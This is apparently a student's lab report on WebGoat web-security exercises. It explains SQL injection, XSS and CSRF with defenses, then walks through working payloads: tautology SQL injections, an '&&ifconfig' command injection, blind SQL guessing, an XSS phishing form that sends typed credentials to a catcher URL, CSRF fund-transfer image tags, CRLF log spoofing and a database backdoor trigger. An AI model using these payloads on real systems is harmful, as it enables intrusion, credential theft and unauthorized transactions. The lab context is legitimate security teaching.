20144303石宇森《网络对抗》Web安全基础实践

实验后问题回答

SQL注入攻击原理,如何防御:

SQL攻击时通过在输入框中输入语句,构造出SQL命令,把这段命令注入到表单中,让后台的数据库执行恶意的SQL语句以实现攻击。

防御方法:采用sql语句预编译和绑定变量是最佳的方法。在不能使用sql语句预编译的情况下,可以严格的检查参数的数据类型以及格式。

XSS攻击的原理,如何防御:

XSS攻击也是通过从输入框中输入,把语句传给后台,这些语句代码包裹HTML代码和客户端脚本。通过这种方法,使网页的页面被更改,其他用户看到的页面也被更改。

防御方法:从Web开发的角度来避免,对所有用户提交的内容进行可靠的输入验证。对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。

CSRF攻击原理,如何防御:

CSRF攻击的原理就是使攻击者盗取用户的身份,然后以用户的身份发送恶意请求。盗取用户身份是通过Cookie来完成的。

防御方法:对用户来说要尽量及时的清理Cookie。对Web端来说,可以在客户端页面增加伪随机数,使攻击者得不到用户的Cookie

实验总结与体会

这次的实验与之前用过的“爱春秋”比较类似,以一种闯关的形式来完成实验,为学习过程增添了不少趣味性。有一些题目看不懂或是做不出来,后来通过学习同学的博客都把问题解决了。本来以为没有输入框就不能完成SQL注入攻击了,没想到还有Berpsuite,能把网页输入和输出内容像抓包一样抓到,然后完成修改。

实践过程记录

在实验之前,要先解压一下WebGoat(不能关闭终端窗口),然后登录localhost:8080/WebGoat开始实验。

一、String SQL Injection

这个题要求我们通过SQL注入的方法使所有的信用卡的信息都能被看到。判断出它是一个SELECT查询语句后,我们构造出一个永真式就能让他把所有的信息都输出出来。

所以,在输入框中输入'or 1='1,就能查出所有信用卡的信息。

二、Numeric SQL Injection

这个题也是要我们通过SQL注入攻击把所有的数据输出,同样的,也是构造一个永真式,但是与上一题不同的是,他没有输入框。这就要用到Berpsuite,把数据包截获,然后进行修改。

首先我们要对Berpsuite软件使用的端口进行设置

然后把浏览器使用的端口也做修改

使捕获设置在ON,开始捕获

然后把捕获到的数据发送到repeater

对station修改,构造一个永真式,加一个or 1=1。发现右边的代码也做了相应的修改。再次点go,成功

三、Command Injection

设置完端口 捕获数据包 然后把他发送到repeater

对URL修改,加上“&&ifconfig”,让它执行ifconfig语句

实验结束后,把捕获关闭

四、Blind Numeric SQL Injection

这是个猜数字的题。我们输入101发现是有效的,那么就可以构造SQL语句,通过输出结果来判断后面的式子是否为真。比如,我们输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 ); 输出为有效的,那么久证明这个数大于100。然后不断进行尝试,最后推算出答案是2364

五、Reflected XSS Attacks

<script>alert("20144303");</script>

是一个有攻击性的URL,可以让页面弹出对话框,显示20144303。我们把它作为输入,可以完成攻击。值得一提的是,这个XSS攻击没有改变服务器端的页面代码,只会显示给当前用户,不是持久性的存储型XSS攻击。

六、Phishing with XSS

<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:80/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

这个实验是构造一个登录页面,然后输入登录的用户名和密码后,可以将其获取。代码如上。

七、CSRF

这个题让我们发送给目标一封邮件,邮件里面有一个URL,当目标打开这个邮件时,完成攻击。

因此,构造一个伪装语句<img src='attack?Screen=280&menu=900&transferFunds=10000' width='1' height='1'> 其中的src和menu是在题目下面的信息里搜取到的。

八、CSRF Prompt By-pass

这个题目和上一个比较相似,但是需要两条语句来完成,一个来伪装转账的金额,一个来伪装确认转账。

<img src='attack?Screen=267&menu=900&transferFunds=10000'width='1'height='1'>

<img src='attack?Screen=267&menu=900&transferFunds=Confirm'width='1'height='1'>

九、Log Spoofing

这个题要求我们通过注入命令,使admin登录成功。所以构造%0d%0aLogin succeeded !admin( %0d是回车,%0a是换行),这样就可以假装admin登录成功了。

十:Database Backdoors

这个题要求我们把用户的工资设置为10000,然后把表中所有的邮箱和用户名都设置成自己的。

输入101后发现有效,就能根据101来构造语句注入。完成攻击

101; update employee set salary=10000

101;CREATE TRIGGER 20144303 BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='SHIYUSEN@qq.com' WHERE userid = NEW.userid

20144303石宇森《网络对抗》Web安全基础实践的更多相关文章

  1. 20145334赵文豪网络对抗Web安全基础实践

    1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...

  2. 20144303石宇森 《网络对抗》 WEB基础实践

    20144303石宇森 <网络对抗> WEB基础实践 实验后回答问题 一.什么是表单 表单是一个包含表单元素的区域.用form来定义. HTML是静态显示网页的,无法跟服务器进行交互,所以 ...

  3. 20144303石宇森《网络对抗》MSF基础应用

    20144303石宇森<网络对抗>MSF基础应用 实验后回答问题 一.解释什么是exploit,payload,encode: 我认为exploit就是一个简单的攻击指令,就是对配置所有设 ...

  4. 20144303石宇森《网络对抗》注入shellcode和Return-to-libc攻击

    20144303石宇森<网络对抗>PC平台逆向破解 实验1:shellcode注入 实验基础 1.Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode,n ...

  5. 20144303石宇森《网络对抗》逆向及Bof基础

    20144303石宇森<网络对抗>逆向及Bof基础 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回 ...

  6. 20144303石宇森 《Java程序设计》第2周学习总结

    ---恢复内容开始--- 20144303 <Java程序设计>第2周学习总结 教材学习内容总结 一.类型: 1.Java可以区分为基本类型和类类型.类类型也称作参考类型. 2.Java中 ...

  7. 2018-2019 20165221 网络对抗 Exp5 MSF基础

    2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...

  8. 20145306 网路攻防 web安全基础实践

    20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...

  9. 20155324王鸣宇 《网络对抗技术》Web基础

    20155324王鸣宇 <网络对抗技术>Web基础 实践要求 ①Web前端HTML: 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HT ...

随机推荐

  1. python字典获取最大值的键的值

    有时我们需要字典中数值最大的那个键的名字,使用max(dict, key=dict.get)函数非常的方便 key_name = max(my_dict, key=my_dict.get) 获取之后你 ...

  2. Kettle 4.2源码分析第三讲--Kettle 转换机制transformation介绍

    转换机制 每个转换步骤都是ETL数据流里面的一个任务.转换步骤包括输入.处理和输出.输入步骤从外部数据源获取数据,例如文件或者数据库:处理步骤处理数据流,字段计算,流处理等,例如整合或者过滤.输出步骤 ...

  3. POJ_3264_Balanced Lineup

    Balanced Lineup Time Limit: 5000MS   Memory Limit: 65536K Total Submissions: 57259   Accepted: 26831 ...

  4. YARN架构设计详解

    一.YARN基本服务组件 YARN是Hadoop 2.0中的资源管理系统,它的基本设计思想是将MRv1中的JobTracker拆分成了两个独立的服务:一个全局的资源管理器ResourceManager ...

  5. Linux umask限制导致php的mkdir 0777无效

    原因:mkdir权限受当前linux umask限制 解决方法: $oldmask = umask(0); mkdir("test", 0777); umask($oldmask) ...

  6. B-tree indexes

    High Performance MySQL, Third Edition by Baron Schwartz, Peter Zaitsev, and Vadim Tkachenko http://d ...

  7. 迷宫城堡--hdu1269(连通图)

    题目链接 连通图模板题:   #include<cstdio> #include<cstdlib> #include<cmath> #include<iost ...

  8. 简单利用gulp-babel搭建es6转es5环境

    es6是什么?借着这个话题,我想说:身为web前端的工作者连es6没听说,转行吧. demo的代码如下: 源码下载 或者 gitclone地址: git@git.oschina.net:sisheb/ ...

  9. 【Python】关于Python多线程的一篇文章转载

    猪哥推荐的学习网址 http://www.jb51.net/article/110164.htm yeayee ------>更多技巧------>更多源码------>http:/ ...

  10. C# 序列化(Serialize)与反序列化(Deserialize)

    序列化是将对象的状态信息转换为可保持或传输的格式的过程(一堆字符),比如转化为二进制.xml.json等的过程. 反序列化就是将在序列化过程中所生成的二进制串.xml.json等转换成数据结构或者对象 ...